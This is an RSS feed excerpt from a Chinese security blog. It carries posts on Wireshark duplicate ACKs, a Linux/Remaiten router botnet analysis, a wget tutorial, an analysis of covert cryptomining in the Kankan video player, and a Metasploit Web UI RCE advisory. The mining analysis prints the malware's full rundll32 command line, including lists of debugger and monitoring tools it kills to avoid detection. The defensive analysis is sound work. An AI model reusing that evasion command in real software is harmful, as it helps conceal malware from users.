不幸的是接收端的序列号是1310984130①，并不是所期望的值。这意味着报文在传送中丢失。接收端注意到报文乱序，并且在第三个报文中发送重复ACK，如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://ww4.sinaimg.cn/mw690/7cc829d3gw1ehh4xflq0yj20i6081jrt.jpg"&gt;&lt;/p&gt;
&lt;p&gt;可以通过以下两种方式之一来确认这是一个重复ACK：&lt;/p&gt;
&lt;p&gt;在Packet Detaisl面板中的Info栏。报文呈现黑色背景红色字体。&lt;/p&gt;
&lt;p&gt;SEQ/ACK Analysis下的Packet Deatails面板。扩展这一栏会发现报文显示为duplicate ACK。接下来几个报文重复此过程。如下图所示：
&lt;img loading="lazy" src="http://ww3.sinaimg.cn/mw690/7cc829d3gw1ehh4xg7iijj20il0263yn.jpg"&gt;
此文件中的第四个报文是发送端所发出具有错误序列号①的另一个数据块。因此，接收端发送第二个重复ACK②。接收端又收到一个乱序报文③。从而触发了第三以及最后一个重复ACK④.&lt;/p&gt;</description></item><item><title>新型针对路由器的Linux BOT或将波及其它IOT设备</title><link>https://www.lucien116.com/archives/147/</link><pubDate>Tue, 27 Sep 2016 16:27:51 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=147</guid><description>&lt;p&gt;据ESET报道，最近发现了一种新的针对嵌入式设备的BOT，通过分析将其恶意行为定义为Linux / Remaiten(一种可以通过互联网指令进行远程控制的后门服务)。到目前为止，已经发现了三个版本，分别是2.0,2.1和2.2。相比之前的样本，它具有一些改进，并提供了一些新的功能。根据代码中的线索，作者将这个新的恶意软件命名为“KTN-Remastered” 或者 “KTN-RM”。这里将会分享最新样本相比之前样本的一些新的特性。&lt;/p&gt;
&lt;p&gt;文章目录&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i" title="先进的传播方式"&gt;先进的传播方式&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-2" title="下载者技术分析"&gt;下载者技术分析&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#BOT" title="BOT行为分析"&gt;BOT行为分析&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#CC" title="连接到C&amp;amp;C服务器"&gt;连接到C&amp;amp;C服务器&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#IRC" title="IRC命令处理"&gt;IRC命令处理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-3" title="嵌入的下载者"&gt;嵌入的下载者&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#Telnet" title="Telnet扫描"&gt;Telnet扫描&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#CC-2" title="向C&amp;amp;C发送当前状态"&gt;向C&amp;amp;C发送当前状态&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#BOT-2" title="杀死其他BOT"&gt;杀死其他BOT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-4" title="总结"&gt;总结&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-5" title="附件"&gt;附件&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#BOT-3" title="BOT样本"&gt;BOT样本&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-6" title="下载者样本"&gt;下载者样本&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#CC-3" title="C&amp;amp;C通讯"&gt;C&amp;amp;C通讯&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="先进的传播方式"&gt;先进的传播方式&lt;/h2&gt;
&lt;p&gt;1、历史样本&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E5%8E%86%E5%8F%B2%E7%89%88%E6%9C%AC%E4%BC%A0%E6%92%AD%E6%96%B9%E5%BC%8F.jpg"&gt;&lt;img alt="历史版本传播方式" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E5%8E%86%E5%8F%B2%E7%89%88%E6%9C%AC%E4%BC%A0%E6%92%AD%E6%96%B9%E5%BC%8F.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;历史版本传播方式&lt;/p&gt;
&lt;p&gt;2、本次样本&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E6%9C%AC%E6%AC%A1%E6%A0%B7%E6%9C%AC%E4%BC%A0%E6%92%AD%E6%96%B9%E5%BC%8F.jpg"&gt;&lt;img alt="本次样本传播方式" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E6%9C%AC%E6%AC%A1%E6%A0%B7%E6%9C%AC%E4%BC%A0%E6%92%AD%E6%96%B9%E5%BC%8F.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;本次样本传播方式&lt;/p&gt;
&lt;h2 id="下载者技术分析"&gt;下载者技术分析&lt;/h2&gt;
&lt;p&gt;下载者是一个比较小的ELF可执行文件，当在受害者设备上运行后，会向C&amp;amp;C服务器发送如下指令(主要是CPU架构):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;mips&lt;/li&gt;
&lt;li&gt;mipsel&lt;/li&gt;
&lt;li&gt;armeabi&lt;/li&gt;
&lt;li&gt;armebeabi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;amp;C服务器会根据客户端的请求返回指定CPU架构的BOT文件(ELF格式)。如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E4%BB%8ECC%E8%8E%B7%E5%BE%97%E7%9A%84BOT%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%96%87%E4%BB%B6.jpg"&gt;&lt;img alt="下载者从C&amp;amp;C获得的BOT二进制文件" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E4%BB%8ECC%E8%8E%B7%E5%BE%97%E7%9A%84BOT%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%96%87%E4%BB%B6.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载者从C&amp;amp;C获得的BOT二进制文件&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E8%BF%9E%E6%8E%A5CC%E6%9C%8D%E5%8A%A1%E5%99%A8.jpg"&gt;&lt;img alt="下载者连接C&amp;amp;C服务器" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E8%BF%9E%E6%8E%A5CC%E6%9C%8D%E5%8A%A1%E5%99%A8.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载者连接C&amp;amp;C服务器&lt;/p&gt;
&lt;p&gt;这里分析的环境是mips架构的，下载者会下载mips架构的BOT，并在控制台输出相关的信息。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E4%BB%8ECC%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AF%B7%E6%B1%82MIPS%E6%9E%B6%E6%9E%84%E7%9A%84BOT.jpg"&gt;&lt;img alt="下载者从C&amp;amp;C服务器请求MIPS架构的BOT" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E4%BB%8ECC%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AF%B7%E6%B1%82MIPS%E6%9E%B6%E6%9E%84%E7%9A%84BOT.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载者从C&amp;amp;C服务器请求MIPS架构的BOT&lt;/p&gt;
&lt;h2 id="bot行为分析"&gt;BOT行为分析&lt;/h2&gt;
&lt;p&gt;BOT在默认情况下会以后台服务的形式启动，一旦启动，程序会将自己的名字更改为看起来比较合法的名字（在2.0和2.1版本中使用“-bash”,2.2版本中使用“-sh”）。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E7%9A%84%E5%90%AF%E5%8A%A8.jpg"&gt;&lt;img alt="BOT的启动" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E7%9A%84%E5%90%AF%E5%8A%A8.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;BOT的启动&lt;/p&gt;
&lt;p&gt;接下来运行的create_daemon函数将会在预定义的目录(在预定义目录列表中第一个拥有写入权限的目录)中创建一个名为“.kpid”的文件，将其PID写入到该文件中：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E9%A2%84%E5%AE%9A%E4%B9%89%E6%96%87%E4%BB%B6%E7%9B%AE%E5%BD%95%E5%88%97%E8%A1%A8.jpg"&gt;&lt;img alt="预定义文件目录列表" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/%E9%A2%84%E5%AE%9A%E4%B9%89%E6%96%87%E4%BB%B6%E7%9B%AE%E5%BD%95%E5%88%97%E8%A1%A8.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;预定义文件目录列表&lt;/p&gt;
&lt;p&gt;如果名为“.kpid”的文件存在，则会结束“.kpid”文件中指定PID的进程实例，然后创建一个新的进程实例继续运行，并将其PID写入到“.kpid”文件中。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/kpid%E6%96%87%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%B7%9F%E8%B8%AA.jpg"&gt;&lt;img alt=".kpid文件创建跟踪" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/kpid%E6%96%87%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%B7%9F%E8%B8%AA.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;.kpid文件创建跟踪&lt;/p&gt;
&lt;h3 id="连接到cc服务器"&gt;连接到C&amp;amp;C服务器&lt;/h3&gt;
&lt;p&gt;服务器的地址列表和端口是被硬编码在二进制文件中，BOT会随机选取一个服务器地址，连接指定的端口。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E8%BF%9E%E6%8E%A5%E7%9A%84CC%E6%9C%8D%E5%8A%A1%E5%99%A8.jpg"&gt;&lt;img alt="BOT连接的C&amp;amp;C服务器" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E8%BF%9E%E6%8E%A5%E7%9A%84CC%E6%9C%8D%E5%8A%A1%E5%99%A8.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;BOT连接的C&amp;amp;C服务器&lt;/p&gt;
&lt;p&gt;当成功连接到C&amp;amp;C服务器后，BOT则会监测IRC（Internet Relay Chat：互联网中继通讯）通道的存在，C&amp;amp;C服务器会返回欢迎信息以及相关的指令码，由受影响设备上的BOT解析与处理。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/CC-BOT%E6%AC%A2%E8%BF%8E%E4%BF%A1%E6%81%AF.jpg"&gt;&lt;img alt="C&amp;amp;C BOT欢迎信息" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/CC-BOT%E6%AC%A2%E8%BF%8E%E4%BF%A1%E6%81%AF.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;C&amp;amp;C BOT欢迎信息&lt;/p&gt;
&lt;h3 id="irc命令处理"&gt;IRC命令处理&lt;/h3&gt;
&lt;p&gt;BOT可以响应多种IRC命令，这些命令的处理被保存在一个数组中。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/IRC%E5%91%BD%E4%BB%A4.jpg"&gt;&lt;img alt="IRC命令" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/IRC%E5%91%BD%E4%BB%A4.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IRC命令&lt;/p&gt;
&lt;p&gt;这里需要关注的是“PRIVMSG”命令，因为它被用于执行具有威胁的动作，例如洪水攻击、下载文件、远程登录扫描等，这些命令被保存在静态数组中。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E5%8F%AF%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.jpg"&gt;&lt;img alt="BOT可用的命令" loading="lazy" src="http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E5%8F%AF%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;BOT可用的命令&lt;/p&gt;
&lt;p&gt;在样本文件中静态存储着对威胁命令的解释字符串，可以帮助理解。&lt;/p&gt;</description></item><item><title>wget命令详解，wget下载目录，断点续传,Wget下载整站,Linux Wget下载命令大全</title><link>https://www.lucien116.com/archives/145/</link><pubDate>Thu, 22 Sep 2016 06:40:26 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=145</guid><description>&lt;p&gt;Linux wget是一个下载文件的工具，它用在命令行下。对于Linux用户是必不可少的工具，尤其对于vps管理，经常要下载一些软件或从远程服务器恢复备份到本地服务器，主机博士介绍下 &lt;strong&gt;Linux Wget命令用法和实例分析&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.drpsafe.com/wp-content/uploads/2015/06/18160433-1544ba8c85594138b23c05d126abe702.png"&gt;&lt;img alt="18160433-1544ba8c85594138b23c05d126abe702" loading="lazy" src="http://www.drpsafe.com/wp-content/uploads/2015/06/18160433-1544ba8c85594138b23c05d126abe702.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;wget是在Linux下开发的开放源代码的软件，作者是Hrvoje Niksic，后来被移植到包括Windows在内的各个平台上。&lt;/p&gt;
&lt;p&gt;它有以下功能和特点：&lt;/p&gt;
&lt;p&gt;(1)支持断点下传功能;这一点，也是网络蚂蚁和FlashGet当年最大的卖点，现在，Wget也可以使用此功能，那些网络不是太好的用户可以放心了;&lt;/p&gt;
&lt;p&gt;(2)同时支持FTP和HTTP下载方式;尽管现在大部分软件可以使用HTTP方式下载，但是，有些时候，仍然需要使用FTP方式下载软件;&lt;/p&gt;
&lt;p&gt;(3)支持代理服务器;对安全强度很高的系统而言，一般不会将自己的系统直接暴露在互联网上，所以，支持代理是下载软件必须有的功能;&lt;/p&gt;
&lt;p&gt;(4)设置方便简单;可能，习惯图形界面的用户已经不是太习惯命令行了，但是，命令行在设置上其实有更多的优点，最少，鼠标可以少点很多次，也不要担心是否错点鼠标;&lt;/p&gt;
&lt;p&gt;(5)程序小，完全免费;程序小可以考虑不计，因为现在的硬盘实在太大了;完全免费就不得不考虑了，即使网络上有很多所谓的免费软件，但是，这些软件的广告却不是我们喜欢的;&lt;/p&gt;
&lt;p&gt;下面我们以实例的形式说明怎么使用wget。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux Wget下载整站命令说明&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;wget这个命令可以以递归的方式下载整站，并可以将下载的页面中的链接转换为本地链接。这个命令可以以递归的方式下载整站，并可以将下载的页面中的链接转换为本地链接。&lt;/p&gt;
&lt;p&gt;wget -r -p -np -k &lt;a href="http://xxx.com/abc/"&gt;http://xxx.com/abc/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;-r, –recursive(递归) specify recursive download.(指定递归下载)&lt;/p&gt;
&lt;p&gt;-k, –convert-links(转换链接) make links in downloaded HTML point to local files.(将下载的HTML页面中的链接转换为相对链接即本地链接)&lt;/p&gt;
&lt;p&gt;-p, –page-requisites(页面必需元素) get all images, etc. needed to display HTML page.(下载所有的图片等页面显示所需的内容)&lt;/p&gt;
&lt;p&gt;-np, –no-parent(不追溯至父级) don’t ascend to the parent directory.&lt;/p&gt;
&lt;p&gt;另外断点续传用-nc参数 日志 用-o参数&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux Wget命令使用技巧&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;1、使用wget下载单个文件&lt;/p&gt;
&lt;p&gt;以下的例子是从网络下载一个文件并保存在当前目录&lt;/p&gt;
&lt;p&gt;wget &lt;a href="http://cn.wordpress.org/wordpress-3.1-zh"&gt;http://cn.wordpress.org/wordpress-3.1-zh&lt;/a&gt;_CN.zip&lt;/p&gt;
&lt;p&gt;在下载的过程中会显示进度条，包含(下载完成百分比，已经下载的字节，当前下载速度，剩余下载时间)。&lt;/p&gt;
&lt;p&gt;2、使用wget -O下载并以不同的文件名保存&lt;/p&gt;
&lt;p&gt;wget默认会以最后一个符合”/”的后面的字符来命令，对于动态链接的下载通常文件名会不正确。&lt;/p&gt;
&lt;p&gt;错误：下面的例子会下载一个文件并以名称download.php?id=1080保存&lt;/p&gt;</description></item><item><title>看看影音恶意挖矿行为分析</title><link>https://www.lucien116.com/archives/144/</link><pubDate>Wed, 21 Sep 2016 16:51:40 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=144</guid><description>&lt;p&gt;&lt;strong&gt;近日，部分用户出现电脑GPU占用率高，电脑温度升高，风扇噪声增大等问题。具体现象为电脑中C盘可使用空间骤降，且在C盘Ethash文件夹内，发现存在大量的1G左右的垃圾文件；电脑闲置状态时，风扇转速增快，电脑发热增加，GPU使用率达到100%。非闲置状态时，恢复正常。经过远程调试分析发现是看看影音在后台偷偷利用用户电脑的运算资源进行以太币（一种类似比特币的数字货币）挖矿导致。&lt;/strong&gt; &lt;a href="http://image.3001.net/images/20160914/14738405757402.jpg"&gt;&lt;img alt="1.jpg" loading="lazy" src="http://image.3001.net/images/20160914/14738405757402.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[看看影音的版本和公司信息]&lt;/p&gt;
&lt;p&gt;安装看看影音后，会注册组件%APP_DATA%\Video Legend\RBC\Program\RBCShellExternal.dll到注册表的explorer加载项，从而开机即可加载运行，然后通过lua脚本控制，下载挖矿模块到本地利用GPU挖矿，整个流程如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20160914/14738405756087.png"&gt;&lt;img alt="2.png" loading="lazy" src="http://image.3001.net/images/20160914/14738405756087.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[看看影音挖矿行为整体流程简图]&lt;/p&gt;
&lt;h2 id="rbcshellexternaldll-分析"&gt;&lt;strong&gt;RBCShellExternal.dll&lt;/strong&gt; &lt;strong&gt;分析&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;该组件是一个商业功能模块，RBC是Remote Bussiness Control的缩写。顾名思义，这个模块可以通过远程配置来控制用户电脑上运行不同的模块，比如升级、修复、广告弹窗、推广安装等，也包括挖矿。&lt;/p&gt;
&lt;p&gt;RBCShellExternal.dll会通过rundll32.exe来加载模块RBCEntry.dll，并通过命令行参数来检测调试工具。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20160914/14738405757070.jpg"&gt;&lt;img alt="3.jpg" loading="lazy" src="http://image.3001.net/images/20160914/14738405757070.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[加载RBCEntry.dll的命令行]&lt;/p&gt;
&lt;p&gt;完整命令行如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rundll32.exe&amp;#34;%APP_DATA%\Video Legend\RBC\Program\RbcEntry.dll&amp;#34;, Control_RunDLL/thread /src ..\\..\\Xar\\Rbc.xar /killex /priority 0 /checktime /delay 1 /idle%d /busy %d  /debug /bkwndlist&amp;#34;Microsoft Visual;HTTPAnalyzer;WinDBG;OllyDebug;fiddler;SmartSniff;\t\t\t\t\t\t\t\tSpy++;Spy;ATL/MFC;任务管理器;DebugView;Process Explorer;File Monitor;RegistryMonitor;Wireshark;OllyICE;OllyDBG;Sysinternals&amp;#34; /bkprocesslist&amp;#34;fiddler.exe;windbg.exe;devenv.exe;taskmgr.exe;wireshark.exe;\t\t\t\t\t\t\t\t\thttpanalyzer.exe;smsniff.exe;filemon.exe;regmon.exe;procmon.exe;ollydbg.exe;softice.exe;cis.exe;\t\t\t\t\t\t\t\t\ttasklist.exe;procexp.exe;ollyice.exe;processspy.exe;spyxx.exe;winspy.exe;cv.exe&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;参数/src指定了要加载的lua脚本模块(已打包成xar格式)，通过lua脚本来控制任务；参数/bkwndlist指定要查找的窗口标题，参数/bkprocesslist指定要查找的进程名，一旦枚举到指定的窗口或进程名，立刻结束进程，防止被用户发现。&lt;/p&gt;
&lt;h2 id="lua-脚本分析"&gt;&lt;strong&gt;LUA&lt;/strong&gt; &lt;strong&gt;脚本分析&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;RbcEntry.dll封装了LUA引擎，加载后首先解析Rbc.xar，然后调用其中的onload.lua，启动整个脚本。Rbc.xar是任务调度模块，核心功能是从云端下载任务控制脚本并加载运行。&lt;/p&gt;
&lt;p&gt;Rbc.xar解包后目录树如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rbc.xar&lt;/p&gt;
&lt;p&gt;│&lt;/p&gt;
&lt;p&gt;└─layout&lt;/p&gt;
&lt;p&gt;│  onload.lua&lt;/p&gt;
&lt;p&gt;│&lt;/p&gt;
&lt;p&gt;└─luacode&lt;/p&gt;
&lt;p&gt;kkp.curl.lua&lt;/p&gt;
&lt;p&gt;rbc.base.lua&lt;/p&gt;
&lt;p&gt;rbc.eventsource.lua&lt;/p&gt;
&lt;p&gt;rbc.filter.lua&lt;/p&gt;
&lt;p&gt;rbc.helper.lua&lt;/p&gt;
&lt;p&gt;rbc.lua&lt;/p&gt;
&lt;p&gt;rbc.scheduler.lua&lt;/p&gt;
&lt;p&gt;rbc.setting.lua&lt;/p&gt;
&lt;p&gt;rbc.task.lua&lt;/p&gt;
&lt;p&gt;rbc.version.lua&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;onload.lua主要功能是加载各个脚本，代码如下：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20160914/14738405755036.png"&gt;&lt;img alt="4.png" loading="lazy" src="http://image.3001.net/images/20160914/14738405755036.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[onLoad.lua加载脚本]&lt;/p&gt;
&lt;p&gt;最后加载rbc.scheduler.lua里面包含了远程配置的任务脚本url：http:/***.kankan.com/rbc/taskschedule_v1.2.dat&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20160914/1473840576444.jpg"&gt;&lt;img alt="5.jpg" loading="lazy" src="http://image.3001.net/images/20160914/1473840576444.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[rbc.scheduler.lua调度脚本]&lt;/p&gt;
&lt;p&gt;从各个函数名称可以看出，该脚本是主要功能是调度任务的运行。而脚本taskschedule_v1.2.dat则是真正的任务脚本。&lt;/p&gt;
&lt;p&gt;taskschedule_v1.2.dat中配置了各种任务的参数，其中挖矿任务的参数配置块如下：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20160914/14738405761251.jpg"&gt;&lt;img alt="6.jpg" loading="lazy" src="http://image.3001.net/images/20160914/14738405761251.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[挖矿任务脚本的参数配置块]&lt;/p&gt;
&lt;p&gt;其中link就是该任务模块的下载地址，通常是xar包；frequency是执行频率；googleid和cnzzid是活跃统计标识。configurl是脚本里面使用的远程配置，主要是挖矿DLL模块的下载地址和MD5，具体内容请看下文。&lt;/p&gt;
&lt;p&gt;任务模块下载后保存在%APP_DATA%\VideoLegend\RBC\Task目录下：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20160914/1473840576321.png"&gt;&lt;img alt="7.png" loading="lazy" src="http://image.3001.net/images/20160914/1473840576321.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[%APP_DATA%\VideoLegend\RBC\Task下生成的各任务目录]&lt;/p&gt;
&lt;p&gt;整理所有任务URL，如下：&lt;/p&gt;</description></item><item><title>Metasploit曝远程代码执行漏洞：别惹我，我疯起来连自己都黑</title><link>https://www.lucien116.com/archives/142/</link><pubDate>Wed, 21 Sep 2016 15:10:14 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=142</guid><description>&lt;p&gt;&lt;strong&gt;就在本周，Rapid7社区发布两个关于Metasploit框架的安全补丁，通过这两个漏洞，攻击者可以远程非授权执行任意代码。目前，安全研究人员已经发放出相关POC攻击代码。&lt;/strong&gt; &lt;strong&gt;&lt;a href="http://image.3001.net/images/20160921/14744289346479.png"&gt;&lt;img alt="t0199f6625196391e0f.png" loading="lazy" src="http://image.3001.net/images/20160921/14744289346479.png!small"&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="漏洞一metasploit-web-ui相关文件中的configaction_dispatchcookies_serializer设置为hybrid"&gt;漏洞一：Metasploit Web UI相关文件中的config.action_dispatch.cookies_serializer设置为:hybrid&lt;/h2&gt;
&lt;h3 id="漏洞信息"&gt;漏洞信息&lt;/h3&gt;
&lt;p&gt;OVE ID: OVE-20160904-0001&lt;/p&gt;
&lt;p&gt;私有披露日期: 2016-09-04&lt;/p&gt;
&lt;p&gt;公开披露日期: 2016-09-19&lt;/p&gt;
&lt;p&gt;厂商公告   : &lt;a href="https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401"&gt;https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001&lt;/p&gt;
&lt;h3 id="漏洞描述"&gt;漏洞描述&lt;/h3&gt;
&lt;p&gt;Metasploit作为一个安全测试框架，里面集成了非常多的功能，比如msfconsole，msfvenom等，并且也提供了非常多的接口和界面，比如shell接口，Windows GUI页面，WEB UI页面等等。而这次的问题主要是出在WEB接口上。MSF Community, Express 和 Pro 版本的 Web UI在4.12.0-2016061501至4.12.0-2016083001版本中的config.action_dispatch.cookies_serializer 值设置为 :hybrid，并且引入了hybrid cookie序列化，这将允许反序列化JSON和Marshal序列化的cookies。直到Metasploit 4.12.0-2016091401，才将其值设置为:json。也就是说，只要cookie序列化设置为Marshal或hybird时，并且攻击者知道cookie signing key的值，那么攻击者就可以构造cookie，触发Marshal反序列化，实现任意代码执行。&lt;/p&gt;
&lt;h3 id="参考"&gt;参考&lt;/h3&gt;
&lt;p&gt;[0] &lt;a href="http://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html"&gt;http://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[1] &lt;a href="https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization"&gt;https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="漏洞二metasploit本周发布了静态的secret_key_base这个将会导致远程命令执行代码"&gt;漏洞二：Metasploit本周发布了静态的secret_key_base，这个将会导致远程命令执行代码&lt;/h2&gt;
&lt;h3 id="漏洞信息-1"&gt;漏洞信息&lt;/h3&gt;
&lt;p&gt;OVE ID: OVE-20160904-0002&lt;/p&gt;
&lt;p&gt;私有披露日期: 2016-09-04&lt;/p&gt;
&lt;p&gt;公开披露日期: 2016-09-19&lt;/p&gt;
